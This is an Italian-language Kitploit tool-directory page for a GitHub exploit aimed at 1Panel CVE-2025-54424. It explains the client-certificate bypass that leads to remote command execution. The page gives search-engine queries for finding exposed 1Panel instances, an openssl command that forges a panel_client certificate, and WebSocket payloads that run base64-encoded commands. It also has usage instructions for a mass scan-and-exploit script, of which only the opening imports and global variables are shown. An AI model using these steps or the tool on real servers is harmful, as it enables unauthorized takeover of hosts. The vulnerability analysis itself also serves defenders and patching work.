Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
1Panel-CVE-2025-54424- — Strumento di exploit per 1Panel CVE-2025-54424, che consente bypass del certificato ed esecuzione remota di comandi tramite WebSocket, con scansione batch e shell interattiva. | Kitploit
Strumenti/GitHubGitHub/anonnymous5/1panel-cve-2025-54424-
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlStrumento di Accesso Remoto
GitHubanonnymous5/1panel-cve-2025-54424-

1Panel-CVE-2025-54424-

Strumento di exploit per 1Panel CVE-2025-54424, che consente bypass del certificato ed esecuzione remota di comandi tramite WebSocket, con scansione batch e shell interattiva.

Vedi Repository
139 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-54424

CVE-2025-54424: strumento integrato per la vulnerabilità RCE di 1Panel tramite bypass del certificato client (scansione + exploit)

Introduzione alla vulnerabilità

1Panel è un pannello di amministrazione Linux open source e moderno che fornisce un'interfaccia grafica per distribuire siti web, gestire server ed eseguire servizi.

Nelle versioni interessate, la policy di autenticazione TLS del lato Agent è tls.RequireAnyClientCert, che richiede solo la presentazione di un certificato ma non ne verifica l'affidabilità. Un attaccante può bypassare la verifica TLS utilizzando un certificato autofirmato e falsificare il campo CN come panel_client, aggirando la verifica a livello applicativo. Infine, l'attaccante può falsificare un certificato per effettuare chiamate non autorizzate alle interfacce di esecuzione comandi, causando una vulnerabilità di esecuzione remota di comandi.

Versioni interessate

<= v2.0.5

Sintassi di rilevamento

Le sintassi di rilevamento per hunter e fofa sono le seguenti:

cert.subject_org=="FIT2CLOUD"&&ip.port="9999” || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

Analisi della vulnerabilità

Estratto dall'avviso di vulnerabilità GitHub

  • Innanzitutto introduciamo i concetti di lato Core e lato Agent di 1Panel v2: dopo la pubblicazione della nuova versione, 1Panel ha aggiunto la funzionalità di gestione dei nodi, che consente di controllare altri host aggiungendo nodi.
  • Il protocollo HTTPS utilizzato per la comunicazione tra Core e Agent, durante la verifica del certificato, non controlla completamente l'autenticità del certificato, lasciando le interfacce senza autorizzazione. Poiché in 1Panel esistono numerose interfacce di esecuzione comandi o ad alta privilegio, ciò porta a RCE.

Processo di audit del codice

  1. Innanzitutto entriamo nel file di routing HTTP dell'Agent agent/init/router/router.go

  1. Scopriamo che nella funzione Routers viene referenziata la funzione Certificate che esegue la verifica globale agent/middleware/certificate.go

  1. Scopriamo che la funzione Certificate usa c.Request.TLS.HandshakeComplete per determinare se la comunicazione è avvenuta tramite certificato

  1. Poiché la determinazione del valore di c.Request.TLS.HandshakeComplete viene effettuata tramite tls.RequireAnyClientCert nella funzione Start del file agent/server/server.go

Nota: poiché qui viene utilizzato tls.RequireAnyClientCert invece di tls.RequireAndVerifyClientCert, RequireAnyClientCert richiede solo che il client fornisca un certificato, senza verificare la CA emittente; pertanto qualsiasi certificato autofirmato può superare l'handshake TLS.

  1. Proseguendo con le altre verifiche nella funzione Certificate, viene verificato solo che il campo CN del certificato sia panel_client, senza verificare l'emittente del certificato. Infine, si scopre che le connessioni WebSocket possono bypassare la verifica di Proxy-ID.

  1. Nel progetto esistono numerose interfacce WebSocket.
  • Interfaccia WebSocket di Process (in base al problema sopra descritto è possibile ottenere informazioni sensibili come tutti i processi) Percorso: /process/ws Formato della richiesta:
{
  "type": "ps",           // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
  "pid": 123,             // 可选,指定进程ID进行筛选
  "name": "process_name", // 可选,根据进程名筛选
  "username": "user"      // 可选,根据用户名筛选
}

  • Interfaccia WebSocket di Terminal SSH (in base al problema sopra descritto è possibile eseguire comandi arbitrari) Percorso: /hosts/terminal Formato della richiesta:
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // "whoami" 的base64编码,记住不要忘记回车。
}

  • Interfaccia WebSocket di Container Terminal (interfaccia di esecuzione comandi per i container) Percorso: /containers/terminal
  • Interfaccia WebSocket del processo di download di file (invio automatico delle informazioni di avanzamento del download) Percorso: /files/wget/process

Riproduzione della vulnerabilità

Riproduzione manuale

  1. Generare il certificato

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

  1. Dopo aver caricato in Burp il panel_client.crt e il panel_client.key generati, aprire la richiesta WS, impostare il target e avviare la richiesta.

Scansione di massa

Utilizzare lo script CVE-2025-54424.py da me sviluppato per la scansione e l'exploit di massa. Di seguito le istruzioni per l'uso dello strumento:

Installare le dipendenze necessarie: pip install websocket-client cryptography PySocks requests

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     单个目标,进入利用模式。例如: 192.168.1.100:8080
  -f FILE, --file FILE  目标文件,进入批量扫描模式。
  -o OUTPUT, --output OUTPUT
                        [扫描模式] 保存漏洞结果的文件名。
  -t THREADS, --threads THREADS
                        [扫描模式] 并发线程数。
  --proxy PROXY         为所有请求设置代理。例如: http://127.0.0.1:8080

Ad esempio, rilevamento singolo + esecuzione di comandi (esecuzione interattiva di comandi SSH) come mostrato nella figura seguente:

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- 核心功能函数 ---
Scarica lo strumento